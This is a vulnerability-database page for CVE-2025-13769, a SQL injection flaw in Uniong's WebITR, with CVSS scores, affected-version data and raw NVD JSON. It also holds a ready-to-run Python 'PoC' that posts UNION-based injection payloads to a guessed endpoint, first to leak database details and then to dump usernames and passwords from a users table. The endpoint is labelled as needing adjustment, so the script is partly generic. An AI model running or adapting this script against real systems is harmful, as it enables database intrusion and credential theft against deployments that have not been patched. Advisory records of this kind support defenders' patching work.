Security Vulnerability Report
中文
CVE-2025-13769 CVSS 6.5 MEDIUM

CVE-2025-13769

Published: 2025-11-28 08:15:54
Last Modified: 2025-12-01 13:13:51

Description

WebITR developed by Uniong has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents.

CVSS Details

CVSS Score
6.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:uniong:webitr:*:*:*:*:*:*:*:* - VULNERABLE
WebITR (Uniong) - 所有未修复版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-13769 PoC - WebITR SQL Injection # Authenticated attacker can inject arbitrary SQL commands # Target: WebITR application by Uniong import requests import sys from urllib.parse import urljoin def exploit_sql_injection(target_url, session_cookie): """ Exploit SQL injection in WebITR to extract database contents """ headers = { 'Cookie': f'SESSION={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Vulnerable endpoint - adjust based on actual application structure vuln_endpoint = urljoin(target_url, '/api/user/query') # SQL Injection payload to extract database version # Using UNION-based injection technique payload = { 'username': "admin' UNION SELECT NULL,version(),user(),database()-- -", 'search_param': 'id' } print(f"[*] Targeting: {target_url}") print(f"[*] Injecting payload: {payload}") try: response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Response preview: {response.text[:500]}") # Extract sensitive data from response # Parse database version, user, and database name if 'MySQL' in response.text or 'PostgreSQL' in response.text: print("[!] SQL Injection successful - database info leaked") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False def extract_users(target_url, session_cookie): """ Extract user credentials from database """ headers = { 'Cookie': f'SESSION={session_cookie}', 'Content-Type': 'application/x-www-form-urlencoded' } # Payload to extract user table data payload = { 'username': "admin' UNION SELECT NULL,username,password,NULL FROM users-- -", 'search_param': 'id' } vuln_endpoint = urljoin(target_url, '/api/user/query') try: response = requests.post(vuln_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print(f"[+] User data extraction response: {response.text[:500]}") return True except Exception as e: print(f"[-] Error: {e}") return False if __name__ == '__main__': if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <session_cookie>") print(f"Example: {sys.argv[0]} https://vulnerable-site.com/ 'abc123session'") sys.exit(1) target = sys.argv[1] cookie = sys.argv[2] # Step 1: Verify SQL injection vulnerability exploit_sql_injection(target, cookie) # Step 2: Extract sensitive data extract_users(target, cookie)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-13769", "sourceIdentifier": "[email protected]", "published": "2025-11-28T08:15:53.713", "lastModified": "2025-12-01T13:13:51.040", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "WebITR developed by Uniong has a SQL Injection vulnerability, allowing authenticated remote attackers to inject arbitrary SQL commands to read database contents."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uniong:webitr:*:*:*:*:*:*:*:*", "versionEndExcluding": "2_1_0_34", "matchCriteriaId": "414A6A7A-9CC4-4D2E-9AB4-33D5E86C8BA8"}]}]}], "references": [{"url": "https://www.twcert.org.tw/en/cp-139-10539-21f45-2.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.twcert.org.tw/tw/cp-132-10538-6a26d-1.html", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}